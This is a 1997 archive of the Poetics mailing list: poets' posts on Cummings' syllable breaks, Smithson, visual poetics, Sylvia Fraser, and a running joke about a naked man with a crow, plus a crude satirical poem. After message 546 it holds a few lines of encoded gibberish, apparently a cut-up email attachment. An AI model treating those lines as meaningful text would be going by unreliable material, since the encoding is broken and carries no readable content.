Now Jay has cleared himself of Bowering's charge (of being naked with crow on shoulder), my question still goes unanswered, to wit, What does it signify, being naked with a crow on the shoulder? (I made no attribution of naked crowness to any one particular person).

If I met a person in such condition, I might think Hmm, taking his crow for an outing, or, Huh, is this religion? Or Far out, jump back, beats lobsters! Or Wow, his crow ate his clothes, but he still cares for him! Or I might somehow try to reconcile "they left him naked" with "they had him eat crow". In fact, I did try that, & I failed. Is this phrase the very ikon of opacity to me alone? David

↑ Index

522. **Wystan Curnow**
Re: hello poetics!
Wed 18 Jun 1997

Bennett,

Isn't that magazine 'Purple Prose'?

Wystan

↑ Index

523. **ghould**
Re: Warning label: do not open if easily offended by silliness
Wed 18 Jun 1997

---

the crow was perched on the southwest side. His name is Cautantowwit. Don't mess with him.

- Poe

↑ Index

524. **Charles Alexander**
Re: smithsons poetics, artists/poets
Wed 18 Jun 1997

> *6. Smithson's Poetics*
> *23. hasty (haitch tee) em el (2)*
> *Did the sculptors read the poets? This sounds like a naive question, and it is, but the reading I do in art history and criticism of the time is much more ignorant of words/poetry than the words/poetry is of the art. Why is this?*

Replying to this after getting it late last night in digest mode . . .

Or maybe the artists just don't talk about it as much? I don't have the sense that the artists (visual, musical, etc.) are ignorant of the poetry, although this is a question I like to approach at the local level. Here in Tucson, I think of the visual artists as, in a sense, much more involved in the physical aspects of everyday life than the poets are, if that makes sense. Just, going to an art studio every day, or as much as possible, confronting the realities within that studio, which are often very physical. And I find them quite knowledgeable about the poetry which comes close to them, meaing local poets involved with presses which also inhabit the same studio buildings, poets who give readings and organize events in art galleries which also represent the artists, etc. Conversely, I don't find the poets locally nearly so knowledgeable about local visual artists, although there are certainly exceptions.

I also find poets sometimes conversant with theory in the abstract, but not with specific visual theories, and not with technical aspects of the visual arts. I often find visual artists more able to converse about how a poem is made than I find poets able to talk about how a painting is made. But I live with a painter and may simply be in their company more, talking about such things.

One of my favorite local painters, Jim Waid, studied at New Mexico with Robert Creeley. Jim's probably 50 years old now, and can talk about a fairly good range of literature, although certainly more about literature written 20 to 50 years

ago. But then, we're talking about Smithson here, so perhaps poets more easily talk about visual/conceptual art which happened a couple of decades ago and has had a good deal of things written about it, than we can talk about current movements in the galleries of New York and Los Angeles and elsewhere right now.

As a poet, I think it has benefited me immensely to be joined with a painter, to get out every month and see visual art with a semi-insider's point of view, and to go and see it in other communities wherever I go. Without doing so, I don't think I could begin to understand Smithson and others of the past, at least not in the same way.

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

↑ Index

525. Charles Alexander

Re: cummings & the syllable break & phonetic alphabet

Wed 18 Jun 1997

Dear List

> *Now a literary history question. I'm not very widely read but my impression is that Cummings (in English, at any rate) was the first poet to use the "intra-syllabic word-break" to aesthetic effect. E.g.: as in his breaking "inventing" into "inven" and "ting" for the latter's hint of "tingle," and "using" into "u" and "sing."*
>
> *Does anyone out there know of anyone who did this kind of thing before him?*

Nothing strikes the top of my head about people doing this in English before or simultaneous with Cummings -- but I'd want to re-read Loy, Elsa von Freitag Loringhoven, and others, to investigate this. And though the cross-line syllable breaks aren't present, I do think that some of the energy Cummings gets from syllabic force is present (and to my mind, in a more compelling way) in Hopkins, particularly in a poem like The Windhover.

>> Robert Duncan used to have his students transcribe poems into the
>> International Phonetic Alphabet. I've found it to be a useful & interesting
>> exercise to tune your ears It will also give you a visual graph of the sound
>> structure of the passage or poem in question.

Another good way of getting at this is to take a poem and translate it into similar sounds of the same language -- also attuning to fine differences (and fine similarities). For example, I once began a review of Rational Geomancy (by Steve McCaffery & bp Nichol) with such a translation of the title (including subtitle, authors, etc.). So the beginning correspondence went like this:

Rational Geomancy

Rash! Shun algae,
Oh man, see . . .

I would think that any linguistic-based exercise of poetic analysis would be valuable to students learning, whether it would be such translations, or dividing poetic lines into structural linguistic tree-like diagrams, etc. I remember when studying linguistics years ago, thinking it WAS poetry.

charles

ps -- I've been getting the list in digest mode as in the recent past and for a while to come I'm on a web design list in which I receive more than 100 messages a day and it's just too much. But I miss contributing more to the poetics list and will try to do a little more. For people at the recent Larry Eigner tribute, I understand Jack Foley said how nice it was that I was there. But in fact I wasn't there, although I would love to have been there. Nice to be thanked, but I apologize to anyone who thought I was there and didn't have a chance to catch me -- as a couple of people have reported to me.

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526. Charles Alexander
tenney's html question
Wed 18 Jun 1997

Tenney

To get your poem's long lines to read as long lines, there are many ways to go. You could choose a line length which seemed to fit for just about any browser at any resolution -- set your own at 640 x 480 and make sure it works there, and everywhere you approached the edge, make a new paragraph break. Then, for each line which was a continuance of what was above, rather than an entirely new poem line, put in a consistent number of non-breaking spaces, as they are called. Several in a row, in HTML, might look like this:

(that's assuming that my ampersands will stay ampersands as this email works its way to poetics list). These nonbreaking spaces would be what you would want to indicate space in the middle of a line, too.

And if your paragraph breaks seem to space things too wide, play around with the paragraph formatting specifications. You might look at some of the HTML code (your browser should have a menu function like "View Document Source" or something like that) for poems on the chax site -- http://personal.riverusers.com/~chax/ -- or at the Light & Dust site or at Electronic Poetry Center -- there are links to both of those on the links page at the chax site.

More ideal, perhaps, would be to set the poem as a table, with the table borders set to zero pixels so that there are no visible border lines. Then make each line a cell in the table. And set the height of the cells so they work as you want them. In this way, you might make people scroll from left to right to see the entire line, but the line wouldn't have to break at all. The code for this, with six lines of "blah" (and you could continue the length as long as you want, might look like:

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<TABLE CELLSPACING=0 CELLPADDING=0 >
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<TD>blahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah-
blah
blahblah</TD>
</TR>

<TR>
<TD>blahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah-
blah
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blah
blahblah</TD>
</TR>
</TABLE>

If you want me to help you code anything, Tenney, I'd be glad to try and do so. And if anyone wants to hire me to design web works or help design such, that is what I do, among other things.

hope this helps,

charles

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527. **ghould**
Re: Rated G
Wed 18 Jun 1997

---

the naked man is obviously King David (of Israel) just having come back from dancing before the ark of the covenant. the crow is Poe's raven, which, as he JUST TOLD US, is Cautantowwit, the Narragansett god of death and the afterlife, whose abode is in the Southwest. If you can't see such obvious allusions, David, you'd better find another list - like the FUNPOETRY list, where good times are had by all over a shared bowl of virtual rice krispies.

"Keep talkin' - I'll think about where to aim."
- Spandrift

↑ Index

528. David R. Israel
DB's Koan
Wed 18 Jun 1997

> . . . . *my question still goes unanswered, to wit,*
> *What does it signify, being naked with a crow on the shoulder?*

. .

. . . . .

.....

..... CAW !! CAW !!

. . . . . caw !

d.i.

↑ Index

529. Joel Felix
electronic book review's "electropoetics"
Wed 18 Jun 1997

Hello poetics. ebr has a new # at
http://www.altx.com/ebr
with contributions from many of our own list number
including Joe Amato, John Cayley, Wendy Battin, and
Issa Clubb. All these and Harry Mathews! Come here
what the electro poets have to say for themselves.
Is this the new literature of constraints? (Outside
of this quasi-provacative language of marketing, that's
a question that remains, IMO.) What can an electronic
poetry *do* that print poetry cannot? These questions
and more considered by sharper minds than mine, brought
to you by ebr, at no cost but your leisure.

Joel Felix

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530. David Bromige
PG-13 (some naked silliness, but not gratuitous)
Wed 18 Jun 1997

Wystan : you have my sympathy. It is hard to turn one's back on the transparent, because it's so easy to see through.

Henry: you have my pity. It is hard to face into the opaque w/o pretending you have made it go away.

Spandrift : you have my wonder. I thought when I met you first, that I *was* on the FUNPOETRY list.

db

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531. **Wystan Curnow**
Re: the Yale game
Wed 18 Jun 1997

Dear David,
It was the (Wheel) Chair of Modern Poetry at Yale I had in mind, actually. I'm too old for the Yale Younger Poets. And just so there's no further confusion, the Marjorie who suggested I put in for it was Marjorie Stevenson, my next door neighbour, who knows how tired I am of being an Associate Professor and how I'd love to put my feet up in New Haven, New Caledonia, or the New Hebrides, she was the one that drew this impressive Vacancy to my attention.
Anyway, David, I do appreciate your advice, helpful anecdotes.
Best wishes,
Wystan

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532. **Stephen Cope**
Re: Address query
Wed 18 Jun 1997

Might anyone know of an e-mail address for Burton Hatlen?

Thanks in advance,

Stephen Cope

↑ Index

533. **Gwyn McVay**
Re: DB's Koan
Wed 18 Jun 1997

David I., I thought it was "Caw Caw Caw Lord Lord Lord Caw Caw Caw."

Gwyn, likely misquoting

↑ Index

534. **Wystan Curnow**
Re: Second SVP colloquium - update
Wed 18 Jun 1997

Dear Lawrence Upton,
Please email me details of the October symposium. It now looks as if I will be in the UK at that time and would be interested in contritbuting/participating.
Best wishes,
Wystan

[redacted]
English Department
University of Auckland
Private Bag, 92019, Auckland,New Zealand
Fax 64.9.3737429

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535. **Piombino/Simon**
Re: Hello poetics
Wed 18 Jun 1997

Wystan, the fickle finger of deletion has deprived me of the late night review of your hello poetics post(in response to Bennett Simpson) I was very much looking forward to rereading, and hopefully responding to. Do you still have it, and if so, would you repost it? Or perhaps another denizen of this list might do me that kindness? I remember your mentioning Lawrence Weiner, and pointing out how artists might not be so quick to discuss their views of contemporaneous literary work.This certainly seemed to be the case with many artist and is a continuing phenomenon. Which brings to mind how much I miss Susan Bee and Mira Shor's M/E/A/N/I/N/G, which for ten years brought forth contemporary artists' and some poets' ideas about art and books with great energy and specificity.Although we do have a promised "M/E/A/N/I/N/G Book" to look forward to.And we also have, fortunately, Mira Schor's new collection of essays,"Wet: On Painting, Feminism, and Art Culture" from Duke University Press. I know how "personal" messages might annoy some of the faithful, but since my server claims it is "too many hops" to get a message to me from Auckland except on this list, might I ask you here if you still plan to come to the US this year, perhaps to serenade us with a poem or two from Cancer Daybook and other more recent works, in the Big Apple and perhaps elsewhere? Best wishes, Nick

↑ Index

536. **Aldon L. Nielsen**
Re: own horn, tooting of same
Thu 19 Jun 1997

---

now available from University Press of Mississippi

C.L.R. James: A Critical Introduction
by Aldon Nielsen

in paperback & hardback (though if you spring for the high-priced spread you'll miss the photo of James that adorns the paper version)

Also available in the Fall from Mississippi

Minty Alley by C.L.R. James
his only novel --

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537. **Aldon L. Nielsen**
Re: That was no camera, that was my life
Thu 19 Jun 1997

---

despite Patrick's invitation, I won't attempt to summarize the rest of
Robert Creeley's day in Boulder
--
however,,

as he spoke of the Zukofsky tribute earlier in the year at Buffalo, Creeley began to recall his own experience of Zukofsky and the openings into earlier poetry that LZ made possible for RC, -- by the time he got to the reading of a poem, both Creeley and his audience were profoundly moved -- I felt honored to have been there

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538. **David R. Israel**
Re: (Fwd) "Buddhistic poetry"
Thu 19 Jun 1997

Kent --

thanks for the informative / interesting post. Curious, btw, what the CAP-L group might be. One assumes from your response that the little list of poets mentioned --

> *. . . . . such writers as [Lawson Fusao] Inada, Al*
> *Robles, Garett Kaoru Hongo, Alan Chong Lau, Patricia Ikeda, and*
> *Russell Leong...*

are known to you, and are not deemed to (as you say) meet the criteria of "a serious background in Buddhist study and practice." (I'm unfamiliar w/ those writers, wouldn't know.) You say:

> *We were not interested, in the least, in poetry exhibiting the vague and stereotypical waft of the "Buddhistic." If anything, our anthology begins to point to the fact that reductive notions of the "Buddhistic" are one of the by-products of the "Orientalism" that Mr. Lew denounces. There is simply no way of boiling down Buddhist artistic expression to any particular "Buddhistic" characteristics of tone, content, or style.*

Good. I much enjoyed *Beneath A Single Moon* when it appeared -- and it proved an eye-opener in sereval ways -- introducing a number of contemporaries whose work I've come to like, as well as giving a valuable slant on familiar figures (e.g. Leslie Scalapino) whom I came to appreciate in a new light. The mix of poetry, theoretical writings & biographical matter make it a fine resource.

> *We are *considering* undertaking a second edition of the anthology, and would welcome any and all suggestions for new poets to include.*

hope you do. Meanwhile, is BASM still in print? (I noted it to have been remaindered some years ago . . . hence the question.)

best,
d.i.

.
.....
.....
\\\

539. Marjorie Perloff
Re: Visual Poetics Conference at Edmonton
Thu 19 Jun 1997

Thanks to Doug Barbour for a wonderful account of the conference! I'm heartbroken to have missed it! Glad Brian Reed and Craig Dworkin did so well! I hope there will be a publication and also a society set up. I'm teaching a grad seminar on Visual Poetics next year.

One question on the latter: where does on get affordable materials? Xeroxes aren't really adequate. Recommendations for books for class use are appreciated.

Best wishes,
Marjorie Perloff

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540. Bennett M. Sm [Dimpson
Re: hello poetics!
Thu 19 Jun 1997

Wystan,

There is a magazine called "Purple Prose." There is also one called "Purple Fiction" and yet another called "Purple Fashion." They are all run by purple french people from paris, but the articles are written in a variety of languages: French, English, Japanese, German (the reader is left to choose according to her abilities). "PP" is more general than the other two --covers art, music, film, culture/lifestyle interface, glossy advertizing euro disco dilemmas and danish neutrality. "PF" is styled literary, and is a real mixed bag of european and american writers, still glossy. "PFASH" is, as far as I can tell, one of the most elegantly produced and sexy fashion photography pubs in circulation. No written text here. The eds. are Elein Fleiss and Olivier Zahm (the latter a reg. contributer to ArtForum, which "PP" resembles somewhat). You can find any of the purple pieces in larger bookstores or definitely at Printed Matter in NYC. (I'm a partial purple participant --hence the purling promotion.)

Pontoons,

Bennett

On Thu, 19 Jun 1997, Wystan Curnow wrote:

> *Bennett,*
> *Isn't that magazine 'Purple Prose'?*
> *Wystan*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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541. **Rachel Loden**
Re: Inappropriate postings
Thu 19 Jun 1997

> *I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him know, as well as his enemies, that I agree with his position. The excessive silliness of many of these posts keeps me from being any more active on the board, as Mark Presjnar seems to feel as well. Thanks Jay and sorry for the heat.*
>
> *Standard Schaefer*
>
> *I could not agree more. And now I understand fully what Jay was trying to suggest when he walked in here last Tuesday, completely naked and with a crow on his shoulder. More power to you, Jay!*
>
> *George Bowering.*
>
> *It wasn't my shoulder the crow was perched on.*
>
> *Jay Schwartz*

Which prompts the inevitable question, Jay, if it wasn't a crow on your shoulder were you just really happy to see George?

Rachel Loden

↑ Index

542. **Bob Grumman**
Cummings, Syllables, Nemes....
Thu 19 Jun 1997

I look forward to what Charles ALexander comes up with regarding what I call the "intra-syllabic word-break." Can't remember ever coming across it in Loy but haven't read her that much--and I have to admit that I've never heard of Elsa von Freitag Loringhoven. If she was innovating anywhere near Cummings's level, I'd certainly like to hear more about her. Thanks, too, Charles, for the reminder of Hopkins's importance in this area. I revisited "The Windhover" where I did find "kingdom" broken into "king-" and "dom" at the end of

the poem's first line and beginning of its second, which is certainly a precursor of what Cummings did. But Hopkins did it to make his first line rhyme with his fourth whereas Cummings fragmented his words mainly to "disconceal" inner words and hints of words, like "sing" (and "zing") in "using," and "ting(le)" in "inventing." Thus, while Hopkins is boosting the force of his syllables, Cummings is concerned with the force not of his syllables but of his *sylbs* (or whatever we decide to call textual entities smaller than syllables but larger than phonemes). Although you could say Cummings makes syllables of "sing" and "ting" above. (They aren't syllables in "us/ing" and "in/vent/ing.") He more clearly works with a sub-syllable to disconceal in the poem I quoted when he breaks "voices" into "voi," "c" and "es" to hint of "void"--and "envoi," too, due to the proximity to "voi" of an "e" broken off from "whose" by a parenthesis curve.

I do think Hopkins a precursor in word-breaks. Consequently, I now have a new, related question: was HE the first to break lines off in the middle of words? That would have been an, perhaps THE, important first step toward what I call infra-verbal poetry--one easy to overlook as major now that it's been done, and superceded.

I have other questions. I know that Dadaists broke up words--at least I can't imagine they didn't--but I doubt that they did so to any aesthetic purpose (except to provide implicit metaphors of chaos, revolution, etc.) Does anyone know much about Dada experiments in this line? Also, how prevalent has word-fragmentation been among the language poets? I know P. Inman, for one, has used it. Can't remember if he kept all the fragments of some of his words, though--rather than just a front or rear fragment.

I'm among the world's worst literary historians but fascinated by it, especially the history of literary technique.

Now, just in case this posting isn't dense enough, a few further thoughts on "nemes." It crossed my mind that one might want to have some term at hand to refer to the r's in "brave prince." You could call them letters but that seems insufficient if you want to emphasize their sound--as sort of submerged alliterants. (I'm continuing my discussion with Charles Smith about the value of having some term for a partial phoneme.) If we called the r's "rudinemes" or some such, we could refer to "rave rinse" as a phonemic alliteration and "brave prince" as a rudinemic alliteration. I know, we're into details of details no one but the kind of maniac I am could care about. But it isn't TOTALLY uninteresting, is it?

One last note--about another neme: "repeneme," a term I coined to refer to any repeated sound in poetry--like the l-sounds in "total lunacy," which aren't either alliterations or consonances but repeat each other to *some* auditory effect. Is there some better term available?

--the ultra-nemic Bob G.

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543. Jordan Davis
The Overlap
Thu 19 Jun 1997

I'm stunned -- I have zero overlap with the concerns floating around on the various lists now -- this coming from one whose standards were pretty dubious to begin with --

so when there's nothing to talk about, sell!

Teachers & Writers Collaborative bought a bunch of copies of Muriel Rukeyser's ultra-obscure biography of pioneering American scientist Willard Gibbs, and we can't seem to hawk them in Union Square (intern hazing ritual) -- so -- our bind is your boon -- copies of _Willard Gibbs_ are $15 ppd to the first five people to email their mailing addresses to [redacted]

OK -- O Canada --
Jordan

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544. Alan++Sondheim
<>
Thu 19 Jun 1997

...

every moment when the word leans
it becomes another word and language
gains ascendence across body and
function as if there were speaking
at the beginning of things which
already announced their beginning
because she said there were extru-
sions from the start that wrapped
around itself adjusting her shawl
in the cold wind by the north sea
where ice flows burned the sea down
and brine turned its loamy foamy in
white emerald there in the true sea
where plankton rose and deep blue eyes
and blond hair swirled in black light
of blue by the grey sea by the black

sea by the brine sea by the sea brine
where the words flew as she spoke
into one another as the moment pulls
back and shows its white teeth through
the sizzle of words in color words
pulling back language she commented
i didn't come here for this

↑ Index

545. **Aldon L. Nielsen**
Re: reappropriating the inappropriate
Thu 19 Jun 1997

Have just now read over all the list mail that came through while I was virtually elsewhere -- have to ask --

about these "professional" flame throwers

outside of the Army, is there really a market for this profession? can one apply for such a job, or, as with the posted positions at Yale and Harvard, is application considered proof of unworthiness?

Is Kim Dawn related to P.M. Dawn? Delta Dawn?

Has anyone noticed that none of the Summer reading lists posted here repeats a single title from the NY Times Books of Summer issue?

Where are the flames of yesteryear?

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546. **Daniel Tessitore**
Re: Rated G
Thu 19 Jun 1997

Naked people with crows on their shoulders are members of a British doomsday cult. They are often heard mumbling to themselves "Wodwo is coming, Wodwo is coming."

DT

From: David Bromige[SMTP:[redacted]]
Sent: Thursday, June 19, 1997 9:32 AM
To: [redacted]
Subject: Rated G

Now Jay has cleared himself of Bowering's charge (of being naked with crow on shoulder), my question still goes unanswered, to wit, What does it signify, being naked with a crow on the shoulder? (I made no attribution of naked crowness to any one particular person).

If I met a person in such condition, I might think Hmm, taking his crow for an outing, or, Huh, is this religion? Or Far out, jump back, beats lobsters! Or Wow, his crow ate his clothes, but he still cares for him! Or I might somehow try to reconcile "they left him naked" with "they had him eat crow". In fact, I did try that, & I failed. Is this phrase the very ikon of opacity to me alone? David

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W)"#?7"=!L5P4%S <X7-/T5/P^R%!3#5C'>$$(%RQ1L)B8O]7QEJ55P`' M@!U0!
^!3L![redacted])!%Z!9T6,#$!O@(ASAWQ_@&] !@$;"230B&_1I!%\1@$:S
M"H5A,1Q#(B! 2?T#H&8`T$X!4I!:`!MP9_.[3D$D("9846S0:,%D;('Q7J5P M:')&(!
[redacted]:(BX/-H``J%:6M4)!NP`- <$/]H$P> '= 7,#804F O$R5<]T*/ M*-
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+A9IQ\O $>`#T``0```4```!213H@`` ``*Z8 ` end

↑ Index

547. Ira Lightman

Text radicalism and incest radicalism

Thu 19 Jun 1997

I have read Sylvia Fraser's incest-book, *My Father's House*. It isn't just "one of those recovered-memory-incest books", as George calls it; it was one of the first such incest books and is very interesting indeed. It uses the literary trope of multiple voice and text disruption to figure the eruption into the present of repressed incest memories from the past.

These writerly figures do not, I would remind George, belong to one tradition's use of them; an artist's use of them around a theme other than the primacy of language and/or art and/or the slipperiness of the notional self (or around any of the themes you like) can be *very* interesting. What bothers George's friend about the writing of Sylvia Fraser?

What I think bothers a lot of writers about incest memory literature is its operatic, sometimes messianic gestures. Even incest memory literature using postmodern and modernist text disruption can tend to employ more mawkish or melodramatic operatic gestures, and this seems to be what George's rather nasty hearsay from his friend over Sylvia Fraser suggests:

> "a former beauty queen from Hamilton who has for 30 years
been writing mushy pop novels and trying to get called "an
artist." "

"A former beauty queen from Hamilton..." means what, a yokel, someone who'll never make it internationally? She has for/to me. "...who has for 30 years been writing mushy pop novels...": whose melodramatic gestures sentimentalise, evade debate? Only from one viewpoint. "...and trying to get called "an artist." " Nasty, George. It does not follow so easily as you imply, though, that someone using simple, melodramatic gestures *is* simple and melodramatic, nor that the work may not have a more sophisticated effect, or be enjoyed by sophisticated readers.

Fraser uses a style where the past erupts in a voice
like a demon possessing the autobiographic I of the
present. Ok, this may seem old hat to George's friend,
or "bad writing" in that context. However, to someone
processing recovered incest memories, it's a very
powerful evocative trope; one of the reasons there's a
lot of melodrama and zeal in such books is that the
effort of undoing of a self in denial is a fight: a
fight against denial. The fact that the erupting
voice, however, may seem demonic is very psychologically
interesting (thus interesting about the world: a feature
of "good writing"). The incestuous abuse of a child is
demonic; but so too may seem the return of feelings that one
has repressed to a self in denial!

Fraser's writing is thus good (as in insightful and
cathartic) and, moreover, may be useful for real
people, supportive helpers. These may be conservative-minded
in their literary tastes but perhaps more socially
radical than George Bowering in fighting incestuous abuse
of children (I say this tartly, melodramatically). Fraser's
My Father's House may indeed, unlike any good book
George or his friend could commend, open up the mind of
helpers and incest survivors reading it. To the slipperiness
of realist narrative; which is the kind of
consciousness-raising that other (more high?) lit like
George's more preferred canon can do for others. If the
helpers and incest survivors whose minds have been thus
opened to language openness do not then go on to read
George's preferred canon it may be that it is itself closed
and conservative and in denial and "bad" about incest; as

George's friend implies Sylvia Fraser is about writing.
This norm of closed-off denial in "good writing" may,
indeed, contribute to the very melodramatic gestures
that are a deliberate bad girl bad taste snub to "good
writing" (I think of Karen Finlay here too). Although
I personally like Acker and find Bernadette Mayer's
"Studying Hunger" great writing and great sex-positive
radical work, I find them utterly reactionary and
ignorant about incest radicalism.

Ira Lightman

On Wed, 18 Jun 1997 12:31:56 -0700 George Bowering wrote:

> From: George Bowering <[redacted]>
> Date: Wed, 18 Jun 1997 12:31:56 -0700
> Subject: Re: ms. non-provocateur
> To: [redacted]
>
> >I'm not familar with Sylvia Fraser. She sounds
interesting. Who is she?
> >Where's her work available?
> >
> >Dodie
>
> She is a former beauty queen from Hamilton who has for 30
years been
> writing mushy pop novels and trying to get called "an
artist." A few years
> ago she published one of those recovered-memory-incest
books. It was not
> well received. I havent read it, but my mate Angela did
and said that it
> was pretty bad writing.
>
>
>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4

>
> fax: [redacted]
> e-mail: [redacted]

↑ Index

548. **Pritchett,Pat**

Re: American Derision

Thu 19 Jun 1997

Watched a portion of Robert Hughes' new series "American Visions" last night - the first hour of Part 4, anyway, before I fell asleep on the couch. I found it a particularly irksome exercise and wondered if anyone else felt the same way. What a pompous old billygoat Hughes is! He reminds me of Gertrude Stein's description of Pound: "Ezra Pound is the village explainer. Fine if you are a village. If not, not." The lowpoints for me: Hughes shortshrifting Rothko (his project to raise Abstract Expressionism to the level of religious painting was "bound to fail," opined RH, without giving any reason. Translation: I don't like this stuff!) And as my wife was quick to point out indignantly, he gave, in the first hour of Part 4 anyway, no mention of any women artists at all. Where were Helen Frankenthaler? Louise Nevelson? Diane Arbus? Elaine DeKooning? (to name but a few...)

What I did take away though was a question about the influence of Abstract Expressionism on Language Poetry. I've not read anything yet about this, but a cross-pollenizing current here seems fairly evident. The underlying idea in both movements being the liberation of the text -- painted, or written -- from all notions of an imposed narrative logic, that is, a direct transmission of a pre-constituted and inflexible set of meanings, a rigid, unchanging code, from to author to viewer or reader. Meaning, instead, is a seen as contextualized event -- it does not naturally inhere within a work, but occurs in the space created at the intersection of painting and viewer, text and reader. Hughes wore his best look of crinkled bafflement as Rauscheneberg explained this in so many words to him in RR's studio. Typical discussions of the evolution of LangPo focus on its literary and political roots. What I'd like to know, if someone can supply it, is what's been said on LP's connection to painting?

Patrick Pritchett

↑ Index

549. **Charles Alexander**
book market
Thu 19 Jun 1997

There is a business called Book Market, which opens bookstores which are bargain warehouses, and intentionally temporary, say 4 months, in cities throughout the US. They also have some permanent stores. But with the temporary ones, there are incredible bargains when it gets near time to close. The one in Tucson is closing On June 29, and yesterday I was able to buy 51 books for $48. Not much in the way of poetry, but I did manage to find some other interesting books: for example, Women, by Phillippe Sollers, for $1, Venus Blue, by Gustaf Sobin, for $1, and Scratches, which is the first volume of Rules of The Game, by Michel Leiris, trans. by Lydia Davis, also for $1 -- all books over $4 were $1, and all books $4 and under were 75% off.

Just saying this in case some of you have this store in your area which is also getting ready to close. Probably I'm going to find out that these stores are hurting the independents, and that their labor politics and other politics is terrible. But for now, all I know is that there is a lot to wade through, but a lot of incredible bargains.

If you're in Tucson, the store is on Oracle, a block or so north of Roger, on the same side of the street as Borders and Kinko's.

charles
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

↑ Index

550. **Pritchett,Pat**
Re: Rated G
Thu 19 Jun 1997

The Raven, of course, is psychopomp, or Guide of Souls to the Land of the Dead. Now her lesser cousin, the crow, alas, is merely Guide of Souls to MLA Conferences and the like. Hence, the sartorial state alleged by Bowering to this poor, nameless & benighted apparition. Unless, as Kent surmises, he's been sipping away at a jug of Canadian courage.

Patrick.

From: David Bromige
To: POETICS

Subject: Rated G
Date: Thursday, June 19, 1997 12:54PM

Now Jay has cleared himself of Bowering's charge (of being naked with crow on shoulder), my question still goes unanswered, to wit, What does it signify, being naked with a crow on the shoulder? (I made no attribution of naked crowness to any one particular person).

If I met a person in such condition, I might think Hmm, taking his crow for an outing, or, Huh, is this religion? Or Far out, jump back, beats lobsters! Or Wow, his crow ate his clothes, but he still cares for him! Or I might somehow try to reconcile "they left him naked" with "they had him eat crow". In fact, I did try that, & I failed. Is this phrase the very ikon of opacity to me alone? David

↑ Index

551. Stephen C. Ellwood
MY NAME IS EMILY VEY DESPERATE
Thu 19 Jun 1997

---

1) CAN YOU TELL I'M DESPERATE? I THINK IT'S IMPOSSIBLE TO MISS.
LIKE A CAT SPRAYED ME WITH "DESPERATE FOR MEN"

(ALL OVER HIS PECKER AND I FEARED
I FELT A SORE THERE, ON THE HEAD)

IT'S MY TRADEMARK, AT ONCE ENDEARING AND UGLY TO THE BONE.

2) I'M WAITING FOR THE DOLLARS TO START A SLOW PARADE INTO MY WALLET. I LIKE DOLLARS. I'M WEARING THEM OUT COUNTING THEM UP. I'M EXTREMELY BEATIFUL:

"ATHLETIC, INTELLIGENT, TENDER. OUT SERVICE ONLY."

3) I'M BITTERLY ENVIOUS OF THOSE I LOVE MOST. OEDIPALLY! AND WOULDN'T HAVE IT ANY OTHER WAY CAUSE YOUR SUCCESS IS MY FAILURE SISTER.

4) DADDY, YOU FUCKED UP AGAIN.

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552. Mark Wallace
abstractly personal
Thu 19 Jun 1997

As a poet whose work has sometimes been called "personal" by those who consider themselves "abstract," and "abstract" by those who consider themselves "personal," it seems to me that these two terms can open a pretty

worthwhile mess for thinking about contemporary poetry. The obvious point that everyone already knows is this: neither the notion of the "personal" or of the "abstract" is a given. As terms, their meanings are capable of refiguring depending on the context that is brought to bear on them.

Anyone surveying the landscape of poetry practice since the 50s can see that the "personal" in poetry has often become associated with a rather standardized poem-narrative about the poet's "personal" problems. Yet it seems equally clear that the "personal" does not have to result in such a poem, and that different types of poems might use different notions of the "personal." The Charles Bernstein et. al list of experiments recently published in (help here on the citation please) has as one of its possibilities "write an autobiographical poem without any pronouns"--lots of room there, yes?

Yet the notion of "abstraction" in poetry, as it relates also to other contexts such as painting, equally has a history associating it with certain kinds of writing, and it has not been uncommon, since the 50s, to use the terms "abstract" and "personal" as key oppositions in determining who is interested in what kind of poetry. But just like with the use of "personal," the relevance of 'abstraction' to poetry does not have to do with some pre-defined certainty about what "abstract" poetry will look like--rather, the poem that results has to do with the particular sense of 'abstraction' that the writer brings to the poem.

If there is a problem, it is not with the idea of "the personal" in poetry, or with the idea of "abstraction" in poetry. Rather, it is that the discourse about 20th century poetry often has an overdetermined certainty about what these terms mean. "Anne Sexton is personal, and we don't like that." "Gertrude Stein is unreadably abstract, and we don't like that." I happen to prefer Stein to Sexton, but it's certainly not on the grounds that one is personal and the other abstract.

I think that what I'm saying here is probably obvious to everyone discussing these issues--I don't mean my remarks here as a particular response to any other recent takes on the issue. It's a discussion I've much enjoyed.

But I will say this: an overdetermined, overly narrow sense of the possibility of ANY word is actually one of the main curses of public discussion about poetry. It's a good thing that words don't always care that much about what we think of them, or otherwise language might become as permanently narrow as what we often say with it.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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553. **George Bowering**
Re: Warning label: do not open if easily offended by silliness
Thu 19 Jun 1997

Jay Schwartz alledges that

> *It wasn't my shoulder the crow was perched on.*

Now I am wondering whether the stress here is on MY or on SHOULDER.

And just for the record, it wasnt my SHOULDER the twelve budgies were perched on.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

554. **George Bowering**
Re: Rated G
Thu 19 Jun 1997

Re Bromige's quandary:

I may have forgotten my ear-pieces and mistook someone's saying something about getting this SHOW on the ROAD.

But there was some kind of bird on there, and he had his shirt off. That I remember for sure.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

555. **George Bowering**
Re: DB's Koan
Thu 19 Jun 1997

I suggest reading Kroetsch's great novel _What the Crow Said_.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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556. **Stephen Cope**
Re: TAXING GRAD STUDENTS (fwd)
Thu 19 Jun 1997

